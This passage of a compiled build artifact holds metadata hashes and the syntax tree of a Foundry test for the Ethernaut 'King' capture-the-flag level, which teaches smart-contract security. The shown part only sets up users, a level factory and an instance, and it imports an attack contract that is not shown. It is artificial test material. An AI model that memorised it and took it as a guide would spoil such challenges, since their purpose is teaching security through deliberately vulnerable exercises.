","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/KingAttack.sol":{"keccak256":"0x81d1d156759cc805d89fda0e7d1ad36d2a04328d2055507a3e8f945b74ac0b13","urls":["bzz-raw://0543146aba0a918517c20467a8bb8251bb4f174c860b3fae14b459463f924bc3","dweb:/ipfs/QmeE9aT5Wr2n1fz1nngMFSSN8exbyvJCWZ2SR7EkpKWe35"],"license":"MIT"},"src/levels/King.sol":{"keccak256":"0x3d08ca5f44dd9d25da0379589d3e3f0523f44217332934ef274de018953f61e3","urls":["bzz-raw://8f75765ba832ec5aaffa05676a425988c3b87006eeceb488b1dd64b3c19432ca","dweb:/ipfs/QmfWR1fgGyTYCGzZ8pdHwKiUWAqEHzVxSg39QdWr4vLcWN"],"license":"MIT"},"src/levels/KingFactory.sol":{"keccak256":"0x4c50f8f43b57445519bf59220a6d1dd482865c30b40bfbe6c87b2a78d173b207","urls":["bzz-raw://e519b0267d94577fa4dcab2cf630f1fdc421ee3fd701a675ba3fd581daaeaf47","dweb:/ipfs/QmRVnWxTmdbtB4L5bNXSGFdFVFxmXGWxrqx7mjqtxVMLb6"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/King.t.sol":{"keccak256":"0x81a47dfd5569910d89d162fdf4bbb8872f4193230743664e6158daa495707244","urls":["bzz-raw://8dc7a9a81a419f9786847d3f8fa4f137839b11d2c288805a54711197886faf79","dweb:/ipfs/QmVnofuXVVkTSG2F48G8PxTWuvEq898LVDn4qpKLJ1erGr"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/King.t.sol","id":62363,"exportedSymbols":{"Ethernaut":[49101],"King":[53625],"KingAttack":[49594],"KingFactory":[53714],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestKing":[62362],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:1959:137","nodes":[{"id":62171,"nodeType":"PragmaDirective","src":"32:23:137","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":62172,"nodeType":"ImportDirective","src":"57:28:137","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":62363,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":62174,"nodeType":"ImportDirective","src":"86:43:137","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":62363,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":62173,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:137","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62176,"nodeType":"ImportDirective","src":"131:41:137","nodes":[],"absolutePath":"src/levels/King.sol","file":"src/levels/King.sol","nameLocation":"-1:-1:-1","scope":62363,"sourceUnit":53626,"symbolAliases":[{"foreign":{"id":62175,"name":"King","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53625,"src":"139:4:137","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62178,"nodeType":"ImportDirective","src":"173:55:137","nodes":[],"absolutePath":"src/levels/KingFactory.sol","file":"src/levels/KingFactory.sol","nameLocation":"-1:-1:-1","scope":62363,"sourceUnit":53715,"symbolAliases":[{"foreign":{"id":62177,"name":"KingFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53714,"src":"181:11:137","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62180,"nodeType":"ImportDirective","src":"229:54:137","nodes":[],"absolutePath":"src/attacks/KingAttack.sol","file":"src/attacks/KingAttack.sol","nameLocation":"-1:-1:-1","scope":62363,"sourceUnit":49595,"symbolAliases":[{"foreign":{"id":62179,"name":"KingAttack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49594,"src":"237:10:137","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62182,"nodeType":"ImportDirective","src":"284:48:137","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":62363,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":62181,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"292:5:137","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62184,"nodeType":"ImportDirective","src":"333:44:137","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":62363,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":62183,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"341:9:137","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62362,"nodeType":"ContractDefinition","src":"379:1611:137","nodes":[{"id":62191,"nodeType":"VariableDeclaration","src":"418:19:137","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"428:9:137","scope":62362,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":62190,"nodeType":"UserDefinedTypeName","pathNode":{"id":62189,"name":"Ethernaut","nameLocations":["418:9:137"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"418:9:137"},"referencedDeclaration":49101,"src":"418:9:137","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":62194,"nodeType":"VariableDeclaration","src":"443:13:137","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"448:8:137","scope":62362,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"},"typeName":{"id":62193,"nodeType":"UserDefinedTypeName","pathNode":{"id":62192,"name":"King","nameLocations":["443:4:137"],"nodeType":"IdentifierPath","referencedDeclaration":53625,"src":"443:4:137"},"referencedDeclaration":53625,"src":"443:4:137","typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}},"visibility":"internal"},{"id":62196,"nodeType":"VariableDeclaration","src":"463:21:137","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"479:5:137","scope":62362,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":62195,"name":"address","nodeType":"ElementaryTypeName","src":"463:15:137","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":62198,"nodeType":"VariableDeclaration","src":"490:22:137","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"506:6:137","scope":62362,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":62197,"name":"address","nodeType":"ElementaryTypeName","src":"490:15:137","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":62300,"nodeType":"FunctionDefinition","src":"699:590:137","nodes":[],"body":{"id":62299,"nodeType":"Block","src":"723:566:137","nodes":[],"statements":[{"assignments":[62203],"declarations":[{"constant":false,"id":62203,"mutability":"mutable","name":"users","nameLocation":"758:5:137","nodeType":"VariableDeclaration","scope":62299,"src":"733:30:137","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":62201,"name":"address","nodeType":"ElementaryTypeName","src":"733:15:137","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62202,"nodeType":"ArrayTypeName","src":"733:17:137","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":62207,"initialValue":{"arguments":[{"hexValue":"32","id":62205,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"778:1:137","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":62204,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"766:11:137","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":62206,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"766:14:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"733:47:137"},{"expression":{"id":62212,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62208,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62196,"src":"791:5:137","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":62209,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62203,"src":"799:5:137","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":62211,"indexExpression":{"hexValue":"30","id":62210,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"805:1:137","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"799:8:137","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"791:16:137","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62213,"nodeType":"ExpressionStatement","src":"791:16:137"},{"expression":{"arguments":[{"id":62217,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62196,"src":"826:5:137","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":62218,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"833:7:137","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":62214,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"817:2:137","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62216,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"820:5:137","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"817:8:137","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":62219,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"817:24:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62220,"nodeType":"ExpressionStatement","src":"817:24:137"},{"expression":{"id":62225,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62221,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62198,"src":"852:6:137","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":62222,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62203,"src":"861:5:137","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":62224,"indexExpression":{"hexValue":"31","id":62223,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"867:1:137","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"861:8:137","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"852:17:137","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62226,"nodeType":"ExpressionStatement","src":"852:17:137"},{"expression":{"arguments":[{"id":62230,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62198,"src":"888:6:137","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":62231,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"896:8:137","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":62227,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"879:2:137","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62229,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"882:5:137","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"879:8:137","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":62232,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"879:26:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62233,"nodeType":"ExpressionStatement","src":"879:26:137"},{"expression":{"arguments":[{"id":62237,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62196,"src":"930:5:137","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62234,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"916:2:137","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62236,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"919:10:137","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"916:13:137","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62238,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"916:20:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62239,"nodeType":"ExpressionStatement","src":"916:20:137"},{"expression":{"id":62244,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62240,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62191,"src":"946:9:137","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":62242,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62196,"src":"985:5:137","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62241,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"958:26:137","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":62243,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"958:33:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"946:45:137","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":62245,"nodeType":"ExpressionStatement","src":"946:45:137"},{"assignments":[62248],"declarations":[{"constant":false,"id":62248,"mutability":"mutable","name":"factory","nameLocation":"1013:7:137","nodeType":"VariableDeclaration","scope":62299,"src":"1001:19:137","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_KingFactory_$53714","typeString":"contract KingFactory"},"typeName":{"id":62247,"nodeType":"UserDefinedTypeName","pathNode":{"id":62246,"name":"KingFactory","nameLocations":["1001:11:137"],"nodeType":"IdentifierPath","referencedDeclaration":53714,"src":"1001:11:137"},"referencedDeclaration":53714,"src":"1001:11:137","typeDescriptions":{"typeIdentifier":"t_contract$_KingFactory_$53714","typeString":"contract KingFactory"}},"visibility":"internal"}],"id":62253,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":62251,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1023:15:137","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_KingFactory_$53714_$","typeString":"function () returns (contract KingFactory)"},"typeName":{"id":62250,"nodeType":"UserDefinedTypeName","pathNode":{"id":62249,"name":"KingFactory","nameLocations":["1027:11:137"],"nodeType":"IdentifierPath","referencedDeclaration":53714,"src":"1027:11:137"},"referencedDeclaration":53714,"src":"1027:11:137","typeDescriptions":{"typeIdentifier":"t_contract$_KingFactory_$53714","typeString":"contract KingFactory"}}},"id":62252,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1023:17:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_KingFactory_$53714","typeString":"contract KingFactory"}},"nodeType":"VariableDeclarationStatement","src":"1001:39:137"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":62260,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62248,"src":"1088:7:137","typeDescriptions":{"typeIdentifier":"t_contract$_KingFactory_$53714","typeString":"contract KingFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_KingFactory_$53714","typeString":"contract KingFactory"}],"id":62259,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1080:7:137","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62258,"name":"address","nodeType":"ElementaryTypeName","src":"1080:7:137","typeDescriptions":{}}},"id":62261,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1080:16:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62257,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1074:5:137","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":62262,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1074:23:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":62254,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62191,"src":"1050:9:137","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":62256,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1060:13:137","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1050:23:137","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":62263,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1050:48:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62264,"nodeType":"ExpressionStatement","src":"1050:48:137"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":62265,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1108:2:137","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62267,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1111:9:137","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1108:12:137","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":62268,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1108:14:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62269,"nodeType":"ExpressionStatement","src":"1108:14:137"},{"expression":{"arguments":[{"id":62273,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62198,"src":"1147:6:137","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62270,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1133:2:137","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62272,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1136:10:137","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1133:13:137","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62274,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1133:21:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62275,"nodeType":"ExpressionStatement","src":"1133:21:137"},{"expression":{"id":62292,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62276,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62194,"src":"1164:8:137","typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":62281,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62191,"src":"1208:9:137","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":62285,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62248,"src":"1233:7:137","typeDescriptions":{"typeIdentifier":"t_contract$_KingFactory_$53714","typeString":"contract KingFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_KingFactory_$53714","typeString":"contract KingFactory"}],"id":62284,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1225:7:137","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62283,"name":"address","nodeType":"ElementaryTypeName","src":"1225:7:137","typeDescriptions":{}}},"id":62286,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1225:16:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62282,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1219:5:137","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":62287,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1219:23:137","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"302e303031","id":62288,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1244:11:137","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"}],"id":62280,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1188:19:137","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns 